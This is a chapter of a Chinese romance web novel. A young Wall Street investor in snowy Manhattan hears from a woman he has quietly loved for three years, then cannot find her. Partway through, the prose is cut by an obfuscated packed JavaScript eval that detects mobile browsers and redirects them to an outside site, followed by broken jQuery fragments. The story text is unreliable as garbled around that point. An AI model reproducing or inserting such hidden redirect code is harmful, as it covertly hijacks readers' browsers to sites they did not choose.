三年后。
夜色像巨大的海潮，悄无声息地淹没了曼哈顿的街道，整座城市被大雪笼罩，路灯的光被雪帘折射得支离破碎，斑斓而凌乱，像漂浮的梦境。
周越坐在Blackcastle Capital的办公桌前，屏幕上的光映得他面庞清晰而克制。自从2019年加入以来，他从Analyst做到Associate，又提前晋升VP，是Firm里最年轻的Sector Lead之一，主抓Growth Equity中国线。
他在华尔街的成长轨迹精准得像一张算式，每一次deal、每一页模型、每一场投委会汇报，都是他把自己从情绪里抽离出来、重新格式化成“可以控制”的过程。
三年里，他从未回过国。
疫情彻底阻断了航线，也彻底隔绝了他与北京那段混乱记忆的联系，只有在北卡读书的弟弟偶尔来纽约陪他几日，日子过得像无声无息的自我重塑，他把生活填满，把时间切成数据，把情绪藏进习题里。
最难熬的那段时间，他几乎是靠和夏知遥聊天熬过来的。
他们从没真正断过联系，却始终隔着一段拿捏得刚刚好的距离。
刚分别那年，是他在主动靠近，那时候，周越刚刚进Blackcastlet压力巨大，夜里三点关掉电脑，心跳还卡在那串DCF参数里，忍不住打开微信，问她：
【你在项目评估阶段会怎么跟客户说‘这事儿值得投’？】
她回复得快，也真诚。
【核心不是回报率，是用哪种叙事让人相信‘这条故事线’是可靠的。】
【你要记住，大多数人不是在算数，是在找理由说服自己。】
那不是教条化的专业建议，更像是一种透彻的认知能力，关于人性、关于选择、关于权衡利弊背后那些没人愿意说出的动机。
她比他想象得更睿智，也更清醒，他之前见过很多做这行的人，数据逻辑清晰，估值框架牢固，可一到客户面前就只会堆术语和参数，讲得精准，却没人听得进去。
可她不一样，她懂得说服，更懂得打动，她既能和商业模型对话，也能和人性深处交谈。
她天生适合做咨询，而他忽然明白，那些项目能推得动，客户能签得快，媒体能迅速转向，不只是她做得多漂亮，更因为她是真的看得比别人透，讲得比别人准。
周越确实需要她，那段时间，他一个人独自适应华尔街的疯狂节奏，她那几句不经意的提醒，就像深夜点燃的一盏小灯，照得他不至于慌，也让他更想走上去。
而夏知遥也习惯了他这样安静却稳定的存在，她没告诉任何人那年母亲病情复发，她一边改方案，一边签手术同意书，她也没对谁说过，自己在职场顶层看得越清楚，就越觉得孤独。
周越那时还不懂她太多，可他总在恰当的时机出现，而随着时间推移，他的身份也悄然发生了变化。
从只会问问题的学弟，变成了一个渐渐可以独立解决事情的男人，他晋升了，做过几个漂亮项目，也在年终会议上独立拿下过一个大客户的投资条款谈判，金融行业里，他从边缘进入了核心圈子。
夏知遥也开始慢慢把一些“她不太想让别人看见的困惑”发给他，有时候，是关于某个文化基金的估值构架：【你觉得这个结构在你们机构眼里算有吸引力吗？】
有时候，是关于退出逻辑的焦虑：【我们对接方一直拖尾款，他们是不是根本就没想交？】
他会认认真真地翻她发来的材料，划出重点，结合自己组里的案例分析，甚至用他那套逻辑严密的方式给她写了一个小型投后优化建议表。
她收到后，只回了一句：【你现在比我厉害多了。】
他看着那行字，眼底浮出一点说不清的温热，她不会多说一句称赞，也不会展现太多依赖，但他知道，在那个瞬间，她是真的把他当成了“可以并肩解决问题的人”。
他从不敢期望她有一天会“回头看他”，但当她愿意向他倾诉、把问题递到他手中时，那就已经足够了。
也有那么一两次，是她深夜情绪失控、在国内的凌晨给他发来只言片语，她说的那些话轻飘飘的，没头没尾：
【周越，你有没有那种，明明做了所有努力，还是无能为力的时候？】
【是不是有些事，咱们注定就没办法去做好。】
她总是这样，不解释，也不等待回应，他不知道她是在说工作还是感情，字里行间，却透出疲惫得让人心疼的意味。
他从来不问，只是一如既往地回复她，简短、温和，却句句走心，他不敢说太多，也不敢说得太明显，怕一旦露出口风，她就会远离；怕她转身一句“别开玩笑了”，他连仅存的角色都保不住。
于是他学会把感情包裹进最温柔的理性里：
【你已经做得很好了，不是吗？人都有这样的时候。】
【有些事不是你的错，是这个世界不够好。】
【别太苛责自己，睡一觉明天又是新的一天。】
他盯着那串没有回应的聊天记录，指尖滑到输入框，又停住，他知道她可能不会再说了，可他还是会等。
就像他已经等了三年，习惯了她偶尔落进他世界的一瞬，也习惯了她转身离开时不告而别的轻盈。
她永远不会给他一个明确的位置，可她每次心乱的时候，第一个想到的，却总是他。
那时候他才意识到，她是真的把他当成了某种不会泄漏、不会靠近、永远不会背叛的“情绪安全区”。
周越被电脑屏幕跳出的Slack提醒拉回了现实，熟练地点开回复，又将模型文件保存、退出、备份，动作完成后，他靠回椅背，眼神落在玻璃幕墙外，雪已经铺满了整个城市，远处金融区的灯光模糊得像一张褪色的城市地图。
桌角放着那本他带了三年的笔记本，封皮已经磨损，第一页的字却始终清晰，“所有不该想的，都交给市场解决。”
他果然做到了，每天清晨准时晨跑，八点进公司，会议、尽调、模型、汇报，一刻不停。凌晨离开办公室，回到上西区的高层公寓，热牛奶，看书，熄灯，入眠，他活得像个精密到极致的金融机器人，连梦境都被时间表规定了出现的顺序。
桌面上铺着三份材料：一份是某东南亚远程医疗平台的pre-A轮融资尽调；一份是中国新消费品牌出海项目的退出测算；还有一份，是他自己从Pipeline里选出的独立女性咨询公司。
他拿起最后那一份，盯着封面上那个简洁明快的logo，盯了很久。
那家公司去年做过一场引爆社交媒体的campaign，主题是“逆流而上的女性”，他一页页翻过去，停在那段视频截图上，接受采访的品牌负责人黑发红唇，干练，冷静。
就像三年前的夏知遥。
他盯着那张截图的脸，眼神莫名一紧，胸口涌上一种难以形容的感觉，不是惊讶，也不是思念，更像是一种被某种旧情绪不动声色撕开的疼痛。
就在这一刻，手机突然震动了一下，屏幕右上角跳出一条提示，红色的“1”跃入眼底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977824|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
微信新消息（1条）：夏知遥。
他怔住了，他愣了一下，指尖下意识悬停在桌面，半晌才缓慢地摘下眼镜，盯着那个熟悉的名字。
光线落在他眼底，将那双清冷眼睛照得雪亮，却也在那一瞬间，渲出一层压抑不住的震动感，像即将崩塌的财务模型，在极限边界摇摇欲坠。
她的消息，依旧短得轻描淡写。
【你公司在纽约哪儿呢，我下午刚到。】
【有空一起吃饭？】
语气自然得像是在约一位顺路碰见的老朋友，他盯着那几行字，心跳在胸腔里静了一拍，像是身体早已背叛了理智，在意识尚未反应之前，他已经敲下回复：
【你住哪儿？】
【今天干嘛？】
消息刚发出去，手机便震了一下，她的回复来得过于迅速，仿佛她就坐在手机前等着他的回应，或者说，她早就知道，他一定会回。
【住在中城区那边的希尔顿】
【没啥事，你要忙我自己先逛逛，随便吃点东西喝点酒。】
后面还带了一个小猫举杯的表情，笑着眯眼，一副醉得可爱的模样，周越盯着它看了很久，像是想从那副可笑的表情背后，读出她所有没说出口的东西。
三年了，她终于主动找他了，可是他不知道，这顿饭，是他们之间一个新的开始，还是又一次重复的擦肩。
他看了眼时间，会议还有十分钟就要开始，她总是在你不经意的时候靠近，然后又能更迅速地抽身离开。
他深吸一口气，敲下一行字：【我还有个会，你先溜达溜达，我开完会找你。】
消息刚发出几秒，屏幕就亮了，她回了一个OK的小狗表情包，卡通狗咧嘴笑着，尾巴翘起，乖巧又敷衍。
他按灭屏幕，然后，他抬头看向会议室的方向，眼神恢复了一贯的清冷和专注，情绪归位，状态切换。
刚刚那短短十秒钟，他在心里，为这个原本平静无波的夜晚，悄悄推迟了所有设定好的节奏。
城市静得像一场无声的预演，他即将走进那个他等了三年的场景里，却没有任何剧本可依。
周越走出办公室时，整座城市早已沉入一场无声的雪夜。
夜风扑面而来，卷着雪花，披头盖脸地劈下来，他拢了拢羊绒大衣的领口，动作却很快失了分寸，一边快步朝中城区的方向赶，一边不断拨电话、发微信，一条接一条地发过去。
全都沉进黑夜里，没有一丝回应，她像从这个世界上突然消失了一样。
手机屏幕上的聊天记录止步在那个小狗表情包，之后便再无下文，电话拨了十几次都无人接听。
她人呢？
他不敢多想，脚步越来越快，地面泥泞不堪，雪泥溅上裤脚也顾不上擦，身旁车辆呼啸而过，溅起的水和风在街角炸开，他站在风里，任雪粒打在脸上，像细小的针，一针一针戳进神经。
曼哈顿的雪越下越大，仿佛整个城市都在白茫茫中失去了方向感，风卷着雪粒呼啸扫过街道，灯光在飞舞的雪幕中折射得模糊不清，橘黄与冷白交叠，如同漂浮在半空的疲惫幻觉。
周越站在中城区的街头，他的外套被雪水打湿，肩膀上的线条被压得沉重，脚边是一滩一滩半融的雪泥，车灯从路口晃过，在湿滑的地面上反射出一圈圈泛白的光晕，昏黄又冰冷。
他脑子里只有一个念头：她到底在哪。
她是真的喝多了，还是出事了？
是临时改变主意不想见他，还是连她自己也无法控制的崩塌？